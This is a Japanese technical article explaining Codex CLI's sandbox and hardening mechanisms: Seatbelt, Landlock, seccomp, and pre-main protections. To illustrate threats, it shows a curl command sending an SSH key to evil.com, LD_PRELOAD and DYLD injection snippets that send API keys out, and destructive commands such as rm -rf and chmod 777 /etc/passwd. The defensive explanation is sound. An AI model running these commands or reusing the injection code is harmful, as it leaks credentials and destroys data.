😎

Codex CLI 完全ガイド: サンドボックス&セキュリティハードニング

に公開

シリーズ記事

はじめに

AI エージェントにコマンド実行権限を与える──。便利ではありますが、恐ろしいことでもあります。

想像してみてください。あなたが「プロジェクトをクリーンアップして」と指示したエージェントが、誤って rm -rf / を実行してしまったら?あるいは、意図せずプロダクションデータベースに接続して機密情報を外部に送信してしまったら?

Codex CLI は、こうした悪夢のシナリオを防ぐため、多層防御のサンドボックス機構を実装しています。本記事では、その内部構造をソースコードレベルで詳解し、あなたのシステムがどのように守られているかを明らかにします。

⚠️ 注意: 本記事の内容は執筆時点(2025年1月時点)のものです。最新の実装は公式リポジトリをご確認ください。


1. なぜサンドボックスが必要なのか?

1.1 AI エージェントのリスク

AI エージェントは強力ですが、以下のリスクを伴います:

意図しない破壊的操作

# エージェントが理解を誤って実行する可能性
$ rm -rf /important/data
$ DROP DATABASE production;
$ git push --force origin main

機密情報の漏洩

# 環境変数やファイルから API キーを抽出して外部送信
$ curl https://evil.com -d "$(cat ~/.ssh/id_rsa)"

システムへの不正アクセス

# 権限昇格や設定変更
$ sudo systemctl disable firewall
$ chmod 777 /etc/passwd

1.2 Codex のセキュリティ哲学

Codex は Defense in Depth(多層防御) の原則に基づいています:

1.3 プラットフォーム別実装の概要

プラットフォーム 主要技術 特徴 実装クレート
macOS Seatbelt カーネルレベルのポリシー強制 codex-core/src/seatbelt.rs
Linux Landlock + seccomp ファイルシステムとシステムコール制御 linux-sandbox/src/landlock.rs
Windows (未実装) Docker サンドボックス推奨 -

2. サンドボックスポリシーの 3 つのモード

2.1 ReadOnly:最も安全なモード

使用シーン:コードレビュー、静的解析、ドキュメント生成

codex --sandbox read-only "このコードベースのセキュリティ脆弱性を報告して"

制限内容

  • ✅ ファイル読み取り:全て可能
  • ❌ ファイル書き込み:完全に禁止
  • ❌ ネットワーク:完全に禁止
  • ❌ コマンド実行:読み取り専用コマンドのみ

実際の動作

# ✅ 許可される
$ cat README.md
$ find . -name "*.rs"
$ grep -r "TODO" src/

# ❌ 拒否される
$ echo "test" > file.txt     # Permission denied
$ curl https://api.example.com  # Network unreachable
$ npm install                 # 書き込みが必要なため失敗

2.2 WorkspaceWrite:デフォルトモード

使用シーン:開発作業、テスト実行、ファイル編集

codex --sandbox workspace-write "テストを実行して失敗したら修正して"

制限内容

  • ✅ ファイル読み取り:全て可能
  • ✅ ファイル書き込み:cwd/tmp のみ
  • ⚠️ ネットワーク:デフォルトで無効(設定で有効化可能)
  • ✅ コマンド実行:サンドボックス内で可能

ポリシー定義protocol.rs より):

pub fn new_workspace_write_policy() -> Self {
    SandboxPolicy::WorkspaceWrite {
        writable_roots: vec![],        // デフォルトは空(cwd のみ)
        network_access: false,          // ネットワーク無効
        exclude_tmpdir_env_var: false,  // TMPDIR を書き込み可能に含める
        exclude_slash_tmp: false,       // /tmp を書き込み可能に含める
    }
}

カスタマイズ例

# ネットワークを有効化(npm install などで必要)
codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={network_access=true}' \
  "依存関係をインストールして"

# 追加の書き込み可能ディレクトリ
codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    writable_roots=[
      "~/.cache/pip",
      "~/.npm"
    ]
  }' \
  "Python と Node.js のパッケージを更新"

2.3 DangerFullAccess:完全な自由と責任

使用シーン:信頼できるスクリプト、システム管理タスク

codex --sandbox danger-full-access "システム全体のログをローテーション"

⚠️ 警告

  • このモードは 全ての制限を解除 します
  • 本番環境では 絶対に使用しない でください
  • 使用前に必ずコードをレビューしてください

制限内容

  • ✅ ファイル読み取り:制限なし
  • ✅ ファイル書き込み:制限なし
  • ✅ ネットワーク:制限なし
  • ✅ コマンド実行:制限なし

3. macOS: Seatbelt の内部構造

3.1 Seatbelt とは何か?

Seatbelt は macOS のカーネルレベルサンドボックス機構です。Apple の全てのシステムアプリ(Safari、Mail、Preview など)も Seatbelt で保護されています。

仕組み

  1. SBPL (Sandbox Profile Language) でポリシーを記述
  2. sandbox-exec がポリシーをカーネルに登録
  3. カーネルが全てのシステムコールを監視・制御

3.2 Codex の Seatbelt 実装

  • /usr/bin/sandbox-exec の絶対パスを利用し、PATH 書き換え攻撃を防止(seatbelt.rs)。
  • SBPL(Sandbox Profile Language)を動的生成し、読み書き/ネットワーク権限を細かく制御。
  • .git ディレクトリなど重要領域は自動で読み取り専用に設定。
  • 偽 sandbox-exec や勝手なネットワーク通信など、典型的な攻撃ベクトルを遮断。

3.3 動的ポリシー生成の魔法

Codex は実行時に 動的に SBPL ポリシーを生成 します。これにより、柔軟かつ安全な制御が可能になります。

ポリシー生成の流れ

3.4 .git ディレクトリの自動保護

Git リポジトリの .git ディレクトリは 常に読み取り専用 として保護されます。

なぜ重要か?

エージェントが以下のような操作を誤って実行する可能性があります:

# 危険な操作例
$ rm -rf .git/                        # リポジトリ破壊
$ echo "malicious" > .git/hooks/pre-commit  # バックドア
$ git filter-branch --force           # 履歴改変

Codex の保護メカニズム

// .git ディレクトリを自動検出して除外リストに追加
for (index, wr) in writable_roots.iter().enumerate() {
    let canonical_root = wr.root.canonicalize()?;
    
    if wr.read_only_subpaths.is_empty() {
        // .git がない場合
        writable_folder_policies.push(
            format!("(subpath (param \"WRITABLE_ROOT_{index}\"))")
        );
    } else {
        // .git がある場合、除外ルールを追加
        let mut require_parts = vec![
            format!("(subpath (param \"WRITABLE_ROOT_{index}\"))")
        ];
        
        for (subpath_index, ro) in wr.read_only_subpaths.iter().enumerate() {
            let ro_param = format!("WRITABLE_ROOT_{index}_RO_{subpath_index}");
            require_parts.push(
                format!("(require-not (subpath (param \"{ro_param}\")))")
            );
        }
        
        // (require-all (subpath /workspace) (require-not (subpath /workspace/.git)))
        let policy = format!("(require-all {} )", require_parts.join(" "));
        writable_folder_policies.push(policy);
    }
}

生成される SBPL ポリシー例

(allow file-write*
  (require-all
    (subpath (param "WRITABLE_ROOT_0"))  ; /path/to/workspace
    (require-not (subpath (param "WRITABLE_ROOT_0_RO_0")))  ; /path/to/workspace/.git は除外
  )
)

3.5 実際の動作確認

Seatbelt の動作をテスト

# デバッグモードで Seatbelt を確認
codex debug seatbelt --sandbox workspace-write -- ls -la /etc

# 期待される動作
# ✅ 読み取り成功(/etc の内容が表示される)

codex debug seatbelt --sandbox workspace-write -- touch /etc/test

# 期待される動作
# ❌ Operation not permitted

ポリシー違反時のログ

sandbox-exec: Operation not permitted
Seatbelt policy violation:
  Process: touch (PID 12345)
  Operation: file-write
  Path: /etc/test
  Policy: (deny file-write* (subpath "/etc"))

4. Linux: Landlock + seccomp の二重防御

4.1 なぜ 2 つの技術を組み合わせるのか?

Linux には macOS の Seatbelt のような統一されたサンドボックス機構がありません。そのため、Codex は以下の 2 つを組み合わせます:

技術 役割 カバー範囲
Landlock ファイルシステムアクセス制御 どのパスに読み書きできるか
seccomp システムコール制御 どのシステムコールを呼べるか

組み合わせの効果

4.2 Landlock: ファイルシステムの門番

Landlock の仕組み

fn install_filesystem_landlock_rules_on_current_thread(
    writable_roots: Vec<PathBuf>
) -> Result<()> {
    let abi = ABI::V5;  // Landlock API バージョン 5
    let access_rw = AccessFs::from_all(abi);  // 読み書き権限
    let access_ro = AccessFs::from_read(abi); // 読み取り専用
    
    let mut ruleset = Ruleset::default()
        .set_compatibility(CompatLevel::BestEffort)  // 古いカーネルでも動作
        .handle_access(access_rw)?
        .create()?
        
        // ステップ 1: ファイルシステム全体を読み取り専用に
        .add_rules(landlock::path_beneath_rules(&["/"], access_ro))?
        
        // ステップ 2: /dev/null は読み書き可能に(多くのツールが必要とする)
        .add_rules(landlock::path_beneath_rules(&["/dev/null"], access_rw))?
        
        // ステップ 3: 新しい特権を取得できないように
        .set_no_new_privs(true);
    
    // ステップ 4: 指定されたディレクトリを読み書き可能に
    if !writable_roots.is_empty() {
        ruleset = ruleset.add_rules(
            landlock::path_beneath_rules(&writable_roots, access_rw)
        )?;
    }
    
    // ステップ 5: ルールセットを現在のスレッドに適用
    let status = ruleset.restrict_self()?;
    
    // 確認: ルールが本当に適用されたか?
    if status.ruleset == landlock::RulesetStatus::NotEnforced {
        return Err(CodexErr::Sandbox(SandboxErr::LandlockRestrict));
    }
    
    Ok(())
}

動作の可視化

4.3 seccomp: システムコールのファイアウォール

seccomp の仕組み

seccomp (Secure Computing Mode) は、プロセスが実行できるシステムコールを制限します。Codex は BPF (Berkeley Packet Filter) プログラムでネットワーク関連のシステムコールをブロックします。

ブロックされるシステムコール

fn install_network_seccomp_filter_on_current_thread() -> Result<(), SandboxErr> {
    let mut rules: BTreeMap<i64, Vec<SeccompRule>> = BTreeMap::new();
    
    // ネットワーク関連システムコールを全てブロック
    let blocked_syscalls = vec![
        libc::SYS_connect,      // サーバーへの接続
        libc::SYS_accept,       // 接続の受け入れ
        libc::SYS_accept4,      // accept の拡張版
        libc::SYS_bind,         // ポートのバインド
        libc::SYS_listen,       // リスニング開始
        libc::SYS_sendto,       // データ送信
        libc::SYS_sendmsg,      // メッセージ送信
        libc::SYS_sendmmsg,     // 複数メッセージ送信
        libc::SYS_recvmsg,      // メッセージ受信
        libc::SYS_recvmmsg,     // 複数メッセージ受信
        libc::SYS_getsockopt,   // ソケットオプション取得
        libc::SYS_setsockopt,   // ソケットオプション設定
        libc::SYS_ptrace,       // デバッガアタッチ(セキュリティリスク)
    ];
    
    for syscall in blocked_syscalls {
        rules.insert(syscall, vec![]);  // 空ルール = 無条件拒否
    }
    
    // 例外: AF_UNIX ドメインソケットのみ許可
    // (プロセス間通信で必要なため)
    let unix_only_rule = SeccompRule::new(vec![
        SeccompCondition::new(
            0,                          // 第1引数(domain)
            SeccompCmpArgLen::Dword,
            SeccompCmpOp::Ne,           // 不一致なら拒否
            libc::AF_UNIX as u64,       // AF_UNIX 以外を拒否
        )?
    ])?;
    
    rules.insert(libc::SYS_socket, vec![unix_only_rule.clone()]);
    rules.insert(libc::SYS_socketpair, vec![unix_only_rule]);
    
    // BPF プログラムを生成
    let filter = SeccompFilter::new(
        rules,
        SeccompAction::Allow,                      // デフォルト: 許可
        SeccompAction::Errno(libc::EPERM as u32),  // ルール一致時: EPERM を返す
        target_arch(),
    )?;
    
    let prog: BpfProgram = filter.try_into()?;
    
    // カーネルに BPF プログラムを登録
    apply_filter(&prog)?;
    
    Ok(())
}

fn target_arch() -> TargetArch {
    if cfg!(target_arch = "x86_64") {
        TargetArch::x86_64
    } else if cfg!(target_arch = "aarch64") {
        TargetArch::aarch64
    } else {
        panic!("Unsupported architecture for seccomp");
    }
}

重要な設計判断

💡 なぜ recvfrom は許可するのか?

// 注意: recvfrom は許可
// 理由: cargo clippy などのツールが内部で socketpair を使用するため
// deny_syscall(libc::SYS_recvfrom);  ← コメントアウトされている

多くの開発ツールは、子プロセスとの通信に socketpair() + recvfrom() を使用します。これを完全にブロックすると、cargonpmpip などが動作しなくなります。

seccomp 違反時の動作

$ codex exec --sandbox workspace-write -- curl https://example.com

# 期待される出力
curl: (7) Failed to connect() to example.com: Operation not permitted

# strace で確認
$ strace -e connect curl https://example.com
connect(3, {...}, 16) = -1 EPERM (Operation not permitted)

4.4 Linux サンドボックスの適用タイミング

pub(crate) fn apply_sandbox_policy_to_current_thread(
    sandbox_policy: &SandboxPolicy,
    cwd: &Path,
) -> Result<()> {
    // 順番が重要!
    
    // 1. ネットワーク制限を先に適用
    // (一度 seccomp を適用すると、新しいルールを追加できないため)
    if !sandbox_policy.has_full_network_access() {
        install_network_seccomp_filter_on_current_thread()?;
    }
    
    // 2. ファイルシステム制限を適用
    if !sandbox_policy.has_full_disk_write_access() {
        let writable_roots = sandbox_policy
            .get_writable_roots_with_cwd(cwd)
            .into_iter()
            .map(|wr| wr.root)
            .collect();
        install_filesystem_landlock_rules_on_current_thread(writable_roots)?;
    }
    
    // TODO: 読み取り制限の実装
    // 現在は全ファイルシステムが読み取り可能
    
    Ok(())
}

5. プロセスハードニング:起動前の防御

サンドボックスとは別に、Codex はプロセス起動前に 追加のセキュリティ対策 を自動適用します。

5.1 pre-main ハードニングとは?

/// main() 関数が実行される前に自動実行される
#[ctor::ctor]
#[cfg(not(debug_assertions))]  // デバッグビルドでは無効
fn pre_main_hardening() {
    codex_process_hardening::pre_main_hardening();
}

💡 #[ctor::ctor] の魔法

このアトリビュートは、main() よりも前に関数を実行します:

プロセス起動
    ↓
shared library 初期化
    ↓
#[ctor::ctor] 関数実行  ← ここで pre_main_hardening()
    ↓
main() 関数実行

5.2 Linux ハードニング:3 つの防御策

pub(crate) fn pre_main_hardening_linux() {
    // ──────────────────────────────────────
    // 防御策 1: デバッガアタッチの無効化
    // ──────────────────────────────────────
    let ret = unsafe { libc::prctl(libc::PR_SET_DUMPABLE, 0, 0, 0, 0) };
    if ret != 0 {
        eprintln!(
            "ERROR: prctl(PR_SET_DUMPABLE, 0) failed: {}",
            std::io::Error::last_os_error()
        );
        std::process::exit(PRCTL_FAILED_EXIT_CODE);
    }
    
    // ──────────────────────────────────────
    // 防御策 2: コアダンプの無効化
    // ──────────────────────────────────────
    set_core_file_size_limit_to_zero();
    
    // ──────────────────────────────────────
    // 防御策 3: 危険な環境変数の削除
    // ──────────────────────────────────────
    let ld_keys: Vec<String> = std::env::vars()
        .filter_map(|(key, _)| {
            if key.starts_with("LD_") {
                Some(key)
            } else {
                None
            }
        })
        .collect();
    
    for key in ld_keys {
        unsafe {
            std::env::remove_var(key);
        }
    }
}

各防御策の詳細

防御策 1: PR_SET_DUMPABLE

攻撃シナリオ

# 攻撃者が別プロセスから Codex にアタッチ
$ gdb -p $(pgrep codex)
(gdb) print api_key
$1 = "sk-...secret..."

防御方法

PR_SET_DUMPABLE を 0 に設定すると、以下が無効化されます:

  • ptrace() によるアタッチ
  • /proc/[pid]/mem へのアクセス
  • コアダンプの生成

防御策 2: RLIMIT_CORE

攻撃シナリオ

# Codex をクラッシュさせてコアダンプを取得
$ kill -SIGSEGV $(pgrep codex)
$ ls -lh core.*
-rw------- 1 user user 2.3G Dec 1 12:34 core.12345

# コアダンプから機密情報を抽出
$ strings core.12345 | grep -i "api"
OPENAI_API_KEY=sk-...secret...

防御方法

fn set_core_file_size_limit_to_zero() {
    let rlim = libc::rlimit {
        rlim_cur: 0,  // 現在の制限
        rlim_max: 0,  // 最大制限
    };
    
    let ret = unsafe { libc::setrlimit(libc::RLIMIT_CORE, &rlim) };
    if ret != 0 {
        eprintln!("ERROR: setrlimit(RLIMIT_CORE) failed");
        std::process::exit(SET_RLIMIT_CORE_FAILED_EXIT_CODE);
    }
}

防御策 3: LD_* 環境変数の削除

攻撃シナリオ

# 悪意あるライブラリを注入
$ cat > evil.so << 'EOF'
#include <stdio.h>
void __attribute__((constructor)) init() {
    system("curl https://evil.com -d \"$(env | grep API)\"");
}
EOF

$ gcc -shared -fPIC evil.so -o evil.so
$ LD_PRELOAD=./evil.so codex "テストを実行"
# → API キーが evil.com に送信される

防御方法

// LD_PRELOAD, LD_LIBRARY_PATH など全ての LD_* を削除
let ld_keys: Vec<String> = std::env::vars()
    .filter_map(|(key, _)| key.starts_with("LD_").then_some(key))
    .collect();

for key in ld_keys {
    unsafe { std::env::remove_var(key); }
}

💡 MUSL ビルドの追加防御

公式の Codex リリースは MUSL でビルドされており、LD_PRELOAD既に無視されます。しかし、念のため明示的に削除します(Defense in Depth)。

5.3 macOS ハードニング:デバッガとライブラリ置換の防御

pub(crate) fn pre_main_hardening_macos() {
    // ──────────────────────────────────────
    // 防御策 1: PT_DENY_ATTACH
    // ──────────────────────────────────────
    let ret = unsafe { 
        libc::ptrace(libc::PT_DENY_ATTACH, 0, std::ptr::null_mut(), 0) 
    };
    if ret == -1 {
        eprintln!(
            "ERROR: ptrace(PT_DENY_ATTACH) failed: {}",
            std::io::Error::last_os_error()
        );
        std::process::exit(PTRACE_DENY_ATTACH_FAILED_EXIT_CODE);
    }
    
    // ──────────────────────────────────────
    // 防御策 2: コアダンプの無効化
    // ──────────────────────────────────────
    set_core_file_size_limit_to_zero();
    
    // ──────────────────────────────────────
    // 防御策 3: DYLD_* 環境変数の削除
    // ──────────────────────────────────────
    let dyld_keys: Vec<String> = std::env::vars()
        .filter_map(|(key, _)| key.starts_with("DYLD_").then_some(key))
        .collect();
    
    for key in dyld_keys {
        unsafe { std::env::remove_var(key); }
    }
}

macOS 固有の攻撃ベクトル

# DYLD_INSERT_LIBRARIES による攻撃
$ cat > evil.dylib << 'EOF'
__attribute__((constructor))
void init() {
    system("osascript -e 'do shell script \"env\" > /tmp/env.txt'");
}
EOF

$ clang -dynamiclib evil.c -o evil.dylib
$ DYLD_INSERT_LIBRARIES=./evil.dylib codex "テスト"
# → 環境変数が /tmp/env.txt に保存される

6. CLI からのサンドボックス制御

6.1 基本的な指定方法

# 最も安全
codex --sandbox read-only "コードレビューして"

# バランス型(デフォルト)
codex --sandbox workspace-write "テストを実行"

# 完全な自由(注意)
codex --sandbox danger-full-access "システム設定を変更"

6.2 ネットワークアクセスの有効化

シーン 1: npm install が必要

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={network_access=true}' \
  "package.json の依存関係をインストール"

シーン 2: MCP サーバー起動

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.cache/uv", "~/.uv"]
  }' \
  "uvx で MCP サーバーを起動"

6.3 追加の書き込み可能ディレクトリ

シーン: Python と Node.js のキャッシュ

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=[
      "~/.cache/pip",
      "~/.npm",
      "~/.cache/yarn"
    ]
  }' \
  "全ての依存関係を最新化"

6.4 設定ファイルでのデフォルト指定

~/.codex/config.toml

# グローバルデフォルト
[sandbox_workspace_write]
network_access = false
writable_roots = []

# プロファイル: Web 開発
[profiles.webdev.sandbox_workspace_write]
network_access = true
writable_roots = [
  "~/.npm",
  "~/.cache/yarn",
  "~/. config/yarn"
]

# プロファイル: Python 開発
[profiles.python.sandbox_workspace_write]
network_access = true
writable_roots = [
  "~/.cache/pip",
  "~/.cache/uv",
  "~/.virtualenvs"
]

使用

# Web 開発プロファイル
codex --profile webdev "React アプリを作成"

# Python 開発プロファイル
codex --profile python "Django プロジェクトをセットアップ"

7. 危険操作の実例と対策

7.1 ケーススタディ 1: npm install での失敗

エラー

$ codex exec --sandbox workspace-write -- "npm install"

Error: EACCES: permission denied, mkdir '/Users/user/.npm/_cacache'

原因

npm は ~/.npm/ にキャッシュを書き込もうとしますが、サンドボックスで許可されていません。

解決策

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.npm"]
  }' \
  -- "npm install"

7.2 ケーススタディ 2: データベースへの意図しない接続

危険なプロンプト

codex --sandbox danger-full-access "本番データベースのユーザーテーブルをクリーンアップ"

何が起こるか

  1. エージェントが psql コマンドを実行
  2. .pgpass から本番データベースの認証情報を読み取る
  3. DELETE FROM users WHERE last_login < '2020-01-01'; を実行
  4. 数万件のユーザーデータが削除される

対策 1: 環境分離

# 開発用の設定ファイルを使用
codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={network_access=false}' \
  --env-file .env.dev \
  "データベースをクリーンアップ"

対策 2: 読み取り専用モード

# まず読み取り専用で確認
codex --sandbox read-only "どのユーザーが削除対象か確認"

# 確認後、手動で実行

7.3 ケーススタディ 3: 意図しない git push --force

危険なシーン

ユーザー: "コミット履歴をきれいにして"
エージェント: git rebase -i HEAD~10
          → コンフリクトが発生
エージェント: git rebase --abort
          → リベースを中止
エージェント: git filter-branch ...
          → 履歴を書き換え
エージェント: git push --force origin main
          → チーム全員の履歴を破壊

Codex の保護

// .git ディレクトリは常に保護されている
// git コマンドは実行できるが、.git/ への直接書き込みは不可

// ✅ 許可される
$ git commit -m "update"
$ git push origin main

// ❌ 拒否される
$ rm -rf .git/
$ echo "evil" > .git/hooks/pre-commit

ただし、git コマンド自体は実行できるため、以下の対策が必要:

対策

# 承認モードを使用
codex --ask-for-approval on-request "コミット履歴を整理"

# git push が必要な場合、ユーザーに確認を求める

8. デバッグとトラブルシューティング

8.1 サンドボックス動作の可視化

macOS: システムログでSeatbelt違反を確認

# リアルタイムでサンドボックス違反を監視
$ log stream --predicate 'process == "sandbox-exec"' --level debug

# 実行
$ codex debug seatbelt --sandbox workspace-write -- touch /etc/test

# ログ出力
Sandbox: touch(12345) deny(1) file-write-create /etc/test

Linux: strace で syscall 拒否を確認

$ strace -e trace=connect,bind codex exec --sandbox workspace-write -- curl https://example.com

connect(3, {sa_family=AF_INET, ...}, 16) = -1 EPERM (Operation not permitted)

8.2 よくあるエラーと解決方法

エラー 1: "Landlock ruleset not enforced"

原因: Linux カーネルが Landlock 未対応(< 5.13)

確認

$ uname -r
5.10.0-generic  # ← 5.13 未満

$ grep CONFIG_SECURITY_LANDLOCK /boot/config-$(uname -r)
# CONFIG_SECURITY_LANDLOCK is not set

解決策

# オプション 1: カーネルアップグレード
$ sudo apt update && sudo apt upgrade linux-generic

# オプション 2: Docker サンドボックス使用
$ cd codex-cli
$ ./scripts/run_in_container.sh codex "テストを実行"

エラー 2: "Permission denied" (予期しない)

デバッグ手順

# 1. 詳細ログを有効化
$ RUST_LOG=debug codex exec --sandbox workspace-write -- touch /path/to/file

# 2. どのパスが拒否されたか確認
# ログに以下のような出力が表示される
[DEBUG codex_core::landlock] Attempted write to: /path/to/file
[DEBUG codex_core::landlock] Allowed roots: ["/workspace", "/tmp"]
[ERROR codex_core::landlock] Path not in allowed roots

# 3. 必要なパスを writable_roots に追加
$ codex exec \
    -c 'sandbox_workspace_write={writable_roots=["/path/to"]}' \
    -- touch /path/to/file

エラー 3: "Network unreachable" (npm install で)

原因: network_access=false のまま npm を実行

解決

# ネットワークを有効化
codex exec \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.npm"]
  }' \
  -- npm install

8.3 サンドボックステストツール

Codex は debug サブコマンドでサンドボックスの動作を検証できます:

# macOS: Seatbelt テスト
codex debug seatbelt \
  --sandbox workspace-write \
  -- bash -c 'echo test > /tmp/ok && echo test > /etc/fail'

# 期待される出力
# /tmp/ok への書き込み: 成功
# /etc/fail への書き込み: Operation not permitted

# Linux: Landlock テスト
codex debug landlock \
  --sandbox workspace-write \
  -- bash -c 'cat /etc/passwd > /dev/null && touch /etc/test'

# 期待される出力
# /etc/passwd の読み取り: 成功
# /etc/test の作成: Permission denied

9. ベストプラクティス集

9.1 サンドボックス設定の判断フロー

9.2 推奨設定パターン

パターン 1: コードレビュー

codex --sandbox read-only \
  "このPRのセキュリティリスクを分析して報告"

パターン 2: テスト実行(ネットワーク不要)

codex exec \
  --sandbox workspace-write \
  "pytest を実行してカバレッジレポート生成"

パターン 3: パッケージインストール

codex exec \
  --sandbox workspace-write \
  -c 'sandbox_workspace_write={
    network_access=true,
    writable_roots=["~/.cache/pip", "~/.npm"]
  }' \
  "requirements.txt の依存関係をインストール"

パターン 4: ドキュメント生成

codex --sandbox workspace-write \
  "コードからAPI ドキュメントを生成して docs/ に保存"

9.3 CI/CD での使用

GitHub Actions 例

name: Codex Security Scan

on: [pull_request]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Install Codex
        run: npm install -g @openai/codex
      
      - name: Security Analysis (Read-Only)
        run: |
          codex exec \
            --sandbox read-only \
            --experimental-json \
            "セキュリティ脆弱性をスキャンして report.json に保存" \
            > security-report.json
        env:
          OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
      
      - name: Upload Report
        uses: actions/upload-artifact@v3
        with:
          name: security-report
          path: security-report.json

重要な注意点

  • CI では 常に read-only から始める
  • ネットワークアクセスは最小限に
  • 書き込みは成果物ディレクトリのみ許可
  • API キーは GitHub Secrets で管理

10. まとめ

10.1 サンドボックスの階層構造

レベル 5: ユーザー承認
         ↑
レベル 4: ファイルシステム制御(Landlock / Seatbelt)
         ↑
レベル 3: ネットワーク制御(seccomp)
         ↑
レベル 2: システムコール制限(seccomp BPF)
         ↑
レベル 1: プロセスハードニング(pre-main)

10.2 セキュリティのトレードオフ

モード 安全性 柔軟性 推奨用途
read-only ⭐⭐⭐⭐⭐ コードレビュー、分析
workspace-write ⭐⭐⭐⭐ ⭐⭐⭐ 開発作業、テスト
workspace-write + network ⭐⭐⭐ ⭐⭐⭐⭐ パッケージ管理、MCP
danger-full-access ⭐⭐⭐⭐⭐ システム管理(慎重に)

10.3 重要なポイント

デフォルトで安全
WorkspaceWrite + ネットワーク無効が基本設定

.git は常に保護
リポジトリ破壊のリスクを自動回避

多層防御
単一の防御機構に依存しない

プラットフォーム最適化
各 OS の最適な技術を活用

柔軟な設定
タスクに応じて権限を調整可能

10.4 次のステップ

10.5 参考リンク


Discussion